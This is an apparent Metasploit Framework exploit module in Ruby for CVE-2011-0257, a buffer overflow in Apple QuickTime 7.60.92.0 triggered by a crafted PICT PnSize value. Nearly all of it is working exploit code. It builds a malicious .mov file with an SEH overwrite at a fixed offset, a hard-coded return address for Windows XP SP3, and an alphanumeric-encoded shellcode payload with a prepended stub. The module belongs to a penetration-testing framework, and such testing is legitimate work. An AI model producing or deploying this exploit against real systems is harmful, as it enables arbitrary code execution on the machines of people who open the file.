##
# $Id: apple_quicktime_pnsize.rb 13691 2011-09-03 21:17:58Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple QuickTime PICT PnSize Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.
        When opening a .mov file containing a specially crafted PnSize value, an attacker
        may be able to execute arbitrary code. 
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'Version'        => '$Revision: 13691 $',
      'References'     =>
        [
          [ 'CVE', '2011-0257' ],
          [ 'BID', '49144' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops'  =>  'True',
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
            },
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3', { 'Ret' => 0x672b6d4a } ], # QuickTime.qts 7.60.92.0
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 8 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),
      ], self.class)
  end

  def exploit

    trigger = rand_text_alpha_upper(3324)
    trigger[2302, 8]  = generate_seh_record(target.ret)
    trigger[2310, payload.encoded.size] = payload.encoded

    path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
    fd = File.open(path, "rb" )
    sploit = fd.read(fd.stat.size)
    fd.close

    sploit << trigger

    file_create(sploit)
  end
end
__END__
http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt

Opcode   Name                       Description                  Data Size (in bytes)

$0007    PnSize                     pen size (point)             4